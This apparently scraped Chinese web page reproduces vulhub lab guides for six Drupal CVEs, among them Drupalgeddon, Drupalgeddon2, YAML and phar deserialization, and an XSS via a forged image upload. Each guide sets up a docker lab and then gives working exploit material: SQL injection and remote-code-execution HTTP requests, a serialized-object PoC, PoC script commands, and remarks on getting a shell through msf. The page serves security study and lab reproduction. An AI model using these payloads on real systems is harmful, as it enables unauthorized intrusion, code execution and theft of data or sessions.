vulhub

编程入门 行业动态 更新时间:2024-10-24 19:24:51

<a href=https://www.elefans.com/category/jswz/34/1759358.html style=vulhub"/>

vulhub

Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)

Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。

漏洞环境

执行如下命令启动Drupal 7.31环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到Drupal的安装页面,使用默认配置安装即可。

其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql

安装完成后,访问首页:

漏洞复现

该漏洞无需认证,发送如下数据包即可执行恶意SQL语句:

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

可见,信息已被爆出:

getshell

可以通過msf直接拿到shell

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)

  • 影响软件:Drupal
  • 方式:反序列化
  • 参考链接:CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
  • 效果:任意代码执行

漏洞环境

执行如下命令启动 drupal 8.3.0 的环境:

docker-compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

  • 先安装 yaml 扩展
# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源
cat > sources.list << EOF
deb / jessie main non-free contrib
deb / jessie-updates main non-free contrib
deb / jessie-backports main non-free contrib
deb-src / jessie main non-free contrib
deb-src / jessie-updates main non-free contrib
deb-src / jessie-backports main non-free contrib
deb / jessie/updates main non-free contrib
deb-src / jessie/updates main non-free contrib
EOF
# 安装依赖
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安装yaml扩展
pecl install yaml
docker-php-ext-enable yaml.so
# 启用 yaml.decode_php 否则无法复现成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重启容器,CONTAINER换成自己的容器ID
docker restart CONTAINER
  • 1.登录一个管理员账号
  • 2.访问 http://127.0.0.1:8080/admin/config/development/configuration/single/import
  • 3.如下图所示,Configuration type 选择 Simple configurationConfiguration name 任意填写,Paste your configuration here 中填写PoC如下:
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

  • 4.点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面。

  • Tips:
    • 虽然官方 CPE 信息显示从 8.0.0 开始就有该漏洞,但是在 drupal:8.0.0 容器内并没有复现成功,相同操作在 drupal:8.3.0 则可以复现成功,故基础镜像选择drupal:8.3.0

Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞。相关分析如下:

  • /

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker-compose up -d

环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

参考a2u/CVE-2018-7600,我们向安装完成的drupal发送如下数据包:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id

成功执行代码,这个代码最终执行了id命令:

getshell

可直接使用msf获取shell

Drupal 远程代码执行漏洞(CVE-2018-7602)

  • 影响软件:drupal
  • 方式:对URL中的#进行编码两次,绕过sanitize()函数过滤
  • 效果:任意命令执行

漏洞环境

执行如下命令启动drupal 7.57的环境:

docker-compose up -d

环境启动后,访问 http://your-ip:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

参考pimps/CVE-2018-7600的PoC。

如下图所示,执行以下命令即可复现该漏洞。示例命令为 id,如图红框中显示,可以执行该命令。

# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码
python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://127.0.0.1:8081/

Drupal 远程代码执行漏洞(CVE-2019-6339)

  • 影响软件:Drupal
  • 方式:phar反序列化RCE
  • 参考链接:Drupal 1-click to RCE 分析
  • 效果:任意命令执行

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker-compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

如下图所示,先使用管理员用户上传头像,头像图片为构造好的 PoC,参考thezdi/PoC的PoC。

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

访问 http://127.0.0.1:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2019-06/blog-ZDI-CAN-7232-cat_0.jpg,保存后将触发该漏洞。如下图所示,触发成功。

Drupal XSS漏洞(CVE-2019-6341)

  • 影响软件:Drupal
  • 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞
  • 参考链接:Drupal 1-click to RCE 分析
  • 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等)

漏洞环境

执行如下命令启动drupal 8.5.0的环境:

docker-compose up -d

环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。

漏洞复现

该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞。

Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置。

使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC。

如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口。

php cve-2019-6341-exp.php 192.168.11.1 8080

上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示。

Tips:

  1. 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器。
  2. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析

更多推荐

vulhub

本文发布于:2024-03-08 17:02:02,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1721542.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:vulhub

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!